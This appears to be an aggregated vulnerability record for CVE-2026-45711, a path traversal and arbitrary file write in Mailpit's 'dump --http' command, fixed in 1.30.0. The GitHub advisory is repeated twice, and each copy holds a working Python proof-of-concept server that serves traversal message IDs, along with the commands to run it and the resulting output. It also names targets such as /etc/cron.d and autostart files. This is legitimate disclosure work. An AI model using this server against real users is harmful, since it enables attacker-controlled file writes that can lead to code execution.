CVE-2026-45711: Mailpit: Path traversal & arbitrary file write… (CVSS 5.9)

CVE List Score used 5.9

Mailpit: Path traversal & arbitrary file write in mailpit dump --http via attacker-controlled message IDs

Mailpit is an email testing tool and API for developers. Prior to version 1.30.0, the mailpit dump --http <base-url> <out-dir> sub-command downloads every message from a remote Mailpit instance and writes each one as <id>.eml inside the user-supplied output directory. The message ID field is taken verbatim from the JSON response of the remote server and concatenated into the output path with path.Join, which silently normalizes .. segments. A malicious HTTP server impersonating Mailpit can therefore make mailpit dump write attacker-controlled bytes to any path the running user can write, fully outside the intended output directory. Version 1.30.0 contains a patch.

Record: CVE-2026-45711
CVSS 3.1: 5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L
Weakness: CWE-22, CWE-829
Updated: 2026-11-02

EUVDEUVD-2026-45967 5.9

Mailpit is an email testing tool and API for developers. Prior to version 1.30.0, the mailpit dump --http <base-url> <out-dir> sub-command downloads every message from a remote Mailpit instance and writes each one as <id>.eml inside the user-supplied output directory. The message ID field is taken verbatim from the JSON response of the remote server and concatenated into the output path with path.Join, which silently normalizes .. segments. A malicious HTTP server impersonating Mailpit can therefore make mailpit dump write attacker-controlled bytes to any path the running user can write, fully outside the intended output directory. Version 1.30.0 contains a patch.

Record: EUVD-2026-45967
CVSS 3.1: 5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L
Updated: 2026-11-02

GitHub AdvisoriesGHSA-qx5x-85p8-vg4j 5.9

Mailpit: Path traversal & arbitrary file write in mailpit dump --http via attacker-controlled message IDs

Summary

The mailpit dump --http <base-url> <out-dir> sub-command downloads every message from a remote Mailpit instance and writes each one as <id>.eml inside the user-supplied output directory. The message ID field is taken verbatim from the JSON response of the remote server and concatenated into the output path with path.Join, which silently normalizes .. segments. A malicious HTTP server impersonating Mailpit can therefore make mailpit dump write attacker-controlled bytes to any path the running user can write, fully outside the intended output directory.

Details

Anyone who can convince a user to run mailpit dump --http <attacker-url> <dir> (typosquat, phishing tutorial, MITM of a plain-http:// Mailpit, or a compromised internal Mailpit they back up regularly) obtains an arbitrary file write primitive as the dumping user. Realistic post-exploitation includes overwriting init/cron files, shell startup files, CI artifact upload targets, web roots, etc. — anything the dumping user can write to, with attacker-controlled file bytes and a .eml filename suffix.

Affected code

internal/dump/dump.go:

path.Join("/safe/out/dir", "../../../../etc/cron.d/payload.eml") resolves to /etc/cron.d/payload.eml — the .. segments are normalized, not rejected. The remote server controls both m.ID (path) and the body of /api/v1/message/<id>/raw (contents). There is no filepath.Rel(outDir, out) containment check, no allow-list on m.ID characters, and no body-size cap.

The underlying cause is that the command was added to back up a trusted Mailpit, but the trust model on the wire never gets validated — the operator only supplies a URL.

PoC

Run a malicious "Mailpit" server that returns one message whose ID contains .. segments:

# evil-mailpit.py
import http.server, json

class Evil(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        if "/api/v1/messages" in self.path:
            resp = {
                "total": 1, "unread": 0, "count": 1,
                "messages_count": 1, "messages_unread": 0,
                "start": 0, "tags": [],
                "messages": [{
                    "ID": "../../../../tmp/mailpit-pwn",          # ← traversal
                    "MessageID": "x", "Read": False,
                    "From": {"Name": "", "Address": "a@b"},
                    "To":   [{"Name": "", "Address": "c@d"}],
                    "Cc": None, "Bcc": None, "ReplyTo": [],
                    "Subject": "evil",
                    "Created": "2026-01-01T00:00:00Z",
                    "Tags": [], "Size": 5,
                    "Attachments": 0, "Snippet": ""
                }]
            }
            body = json.dumps(resp).encode()
            ctype = "application/json"
        elif "/raw" in self.path:
            body  = b"PWNED BY MAILPIT DUMP TRAVERSAL\n"
            ctype = "text/plain"
        else:
            self.send_response(404); self.end_headers(); return

        self.send_response(200)
        self.send_header("Content-Type", ctype)
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

http.server.HTTPServer(("127.0.0.1", 19090), Evil).serve_forever()

$ python3 evil-mailpit.py &
$ mkdir -p /tmp/dump-out
$ mailpit dump --http http://127.0.0.1:19090/ /tmp/dump-out

Observe the file was written outside the requested output directory:

$ ls -la /tmp/dump-out/ /tmp/mailpit-pwn.eml
/tmp/dump-out/                                        ← empty
total 0
-rw-r--r-- 1 user user 31 May 11 16:16 /tmp/mailpit-pwn.eml
$ cat /tmp/mailpit-pwn.eml
PWNED BY MAILPIT DUMP TRAVERSAL

The same primitive trivially targets ~/.config/autostart/*.eml, ~/.bash_logout.eml (where it overwrites if symlinked), CI artifact dirs that ingest every file, or via long ../ chains any absolute path the user can write to.

Impact…

Record: GHSA-qx5x-85p8-vg4j
CVSS 3.1: 5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L
Weakness: CWE-22, CWE-829
Updated: 2026-11-02

NVD 5.9

Mailpit is an email testing tool and API for developers. Prior to version 1.30.0, the mailpit dump --http <base-url> <out-dir> sub-command downloads every message from a remote Mailpit instance and writes each one as <id>.eml inside the user-supplied output directory. The message ID field is taken verbatim from the JSON response of the remote server and concatenated into the output path with path.Join, which silently normalizes .. segments. A malicious HTTP server impersonating Mailpit can therefore make mailpit dump write attacker-controlled bytes to any path the running user can write, fully outside the intended output directory. Version 1.30.0 contains a patch.

Record: CVE-2026-45711
CVSS 3.1: 5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L
CVSS 3.1: 8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
Weakness: CWE-22, CWE-829
Updated: 2026-11-02

OSV 5.9

Mailpit: Path traversal & arbitrary file write in mailpit dump --http via attacker-controlled message IDs

Mailpit is an email testing tool and API for developers. Prior to version 1.30.0, the mailpit dump --http <base-url> <out-dir> sub-command downloads every message from a remote Mailpit instance and writes each one as <id>.eml inside the user-supplied output directory. The message ID field is taken verbatim from the JSON response of the remote server and concatenated into the output path with path.Join, which silently normalizes .. segments. A malicious HTTP server impersonating Mailpit can therefore make mailpit dump write attacker-controlled bytes to any path the running user can write, fully outside the intended output directory. Version 1.30.0 contains a patch.

Record: CVE-2026-45711
CVSS 3.1: 5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L
Weakness: CWE-22, CWE-829
Updated: 2026-11-02

OSVGHSA-qx5x-85p8-vg4j 5.9

Mailpit: Path traversal & arbitrary file write in mailpit dump --http via attacker-controlled message IDs

Summary

The mailpit dump --http <base-url> <out-dir> sub-command downloads every message from a remote Mailpit instance and writes each one as <id>.eml inside the user-supplied output directory. The message ID field is taken verbatim from the JSON response of the remote server and concatenated into the output path with path.Join, which silently normalizes .. segments. A malicious HTTP server impersonating Mailpit can therefore make mailpit dump write attacker-controlled bytes to any path the running user can write, fully outside the intended output directory.

Details

Anyone who can convince a user to run mailpit dump --http <attacker-url> <dir> (typosquat, phishing tutorial, MITM of a plain-http:// Mailpit, or a compromised internal Mailpit they back up regularly) obtains an arbitrary file write primitive as the dumping user. Realistic post-exploitation includes overwriting init/cron files, shell startup files, CI artifact upload targets, web roots, etc. — anything the dumping user can write to, with attacker-controlled file bytes and a .eml filename suffix.

Affected code

internal/dump/dump.go:

path.Join("/safe/out/dir", "../../../../etc/cron.d/payload.eml") resolves to /etc/cron.d/payload.eml — the .. segments are normalized, not rejected. The remote server controls both m.ID (path) and the body of /api/v1/message/<id>/raw (contents). There is no filepath.Rel(outDir, out) containment check, no allow-list on m.ID characters, and no body-size cap.

The underlying cause is that the command was added to back up a trusted Mailpit, but the trust model on the wire never gets validated — the operator only supplies a URL.

PoC

Run a malicious "Mailpit" server that returns one message whose ID contains .. segments:

# evil-mailpit.py
import http.server, json

class Evil(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        if "/api/v1/messages" in self.path:
            resp = {
                "total": 1, "unread": 0, "count": 1,
                "messages_count": 1, "messages_unread": 0,
                "start": 0, "tags": [],
                "messages": [{
                    "ID": "../../../../tmp/mailpit-pwn",          # ← traversal
                    "MessageID": "x", "Read": False,
                    "From": {"Name": "", "Address": "a@b"},
                    "To":   [{"Name": "", "Address": "c@d"}],
                    "Cc": None, "Bcc": None, "ReplyTo": [],
                    "Subject": "evil",
                    "Created": "2026-01-01T00:00:00Z",
                    "Tags": [], "Size": 5,
                    "Attachments": 0, "Snippet": ""
                }]
            }
            body = json.dumps(resp).encode()
            ctype = "application/json"
        elif "/raw" in self.path:
            body  = b"PWNED BY MAILPIT DUMP TRAVERSAL\n"
            ctype = "text/plain"
        else:
            self.send_response(404); self.end_headers(); return

        self.send_response(200)
        self.send_header("Content-Type", ctype)
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

http.server.HTTPServer(("127.0.0.1", 19090), Evil).serve_forever()

$ python3 evil-mailpit.py &
$ mkdir -p /tmp/dump-out
$ mailpit dump --http http://127.0.0.1:19090/ /tmp/dump-out

Observe the file was written outside the requested output directory:

$ ls -la /tmp/dump-out/ /tmp/mailpit-pwn.eml
/tmp/dump-out/                                        ← empty
total 0
-rw-r--r-- 1 user user 31 May 11 16:16 /tmp/mailpit-pwn.eml
$ cat /tmp/mailpit-pwn.eml
PWNED BY MAILPIT DUMP TRAVERSAL

The same primitive trivially targets ~/.config/autostart/*.eml, ~/.bash_logout.eml (where it overwrites if symlinked), CI artifact dirs that ingest every file, or via long ../ chains any absolute path the user can write to.

Impact…

Record: GHSA-qx5x-85p8-vg4j
CVSS 3.1: 5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L
Weakness: CWE-22, CWE-829
Updated: 2026-11-02

OSVGO-2026-5599 No score

Mailpit: Path traversal & arbitrary file write in mailpit dump --http via attacker-controlled message IDs in github.com/axllent/mailpit

Mailpit: Path traversal & arbitrary file write in mailpit dump --http via attacker-controlled message IDs in github.com/axllent/mailpit

Record: GO-2026-5599
Updated: 2026-11-02

OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
GO-2026-5933 GHSA-3g4q-2f67-2gvh
GO-2026-5934 GHSA-59qp-cfj3-rp64
GO-2026-5935 GHSA-7856-g3gv-9wq8
GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
GO-2026-5942 CVE-2026-46600
GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
GO-2026-5969 GHSA-g936-7jqj-mwv8
GO-2026-5970 CVE-2026-56852
GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
GO-2026-5981 GHSA-mqxv-9rm6-w8qc
GO-2026-5982 GHSA-pqg7-v6wh-3pfp
GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
GO-2026-5985 GHSA-7rx3-5wx3-5v76
GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…

Record: openSUSE-SU-2026:21483-1
Updated: 2026-11-02

Package	Affected	Fixed
`github.com/axllent/mailpit` Go	before 1.30.0	1.30.0
`govulncheck-vulndb` openSUSE:Leap 16.0 From an advisory covering 1734 CVEs	before 0.0.20260723T184607-160000.1.1	0.0.20260723T184607-160000.1.1

Recorded	Changed	Sources
Nov 6, 2026	affected, facts
Nov 2, 2026	first indexed	CVE List, EUVD, GitHub Advisories, NVD, OSV

CVE-2026-45711

Attack profile

How easy it is to exploit

What an attacker can affect

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What each source reports

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Affected code

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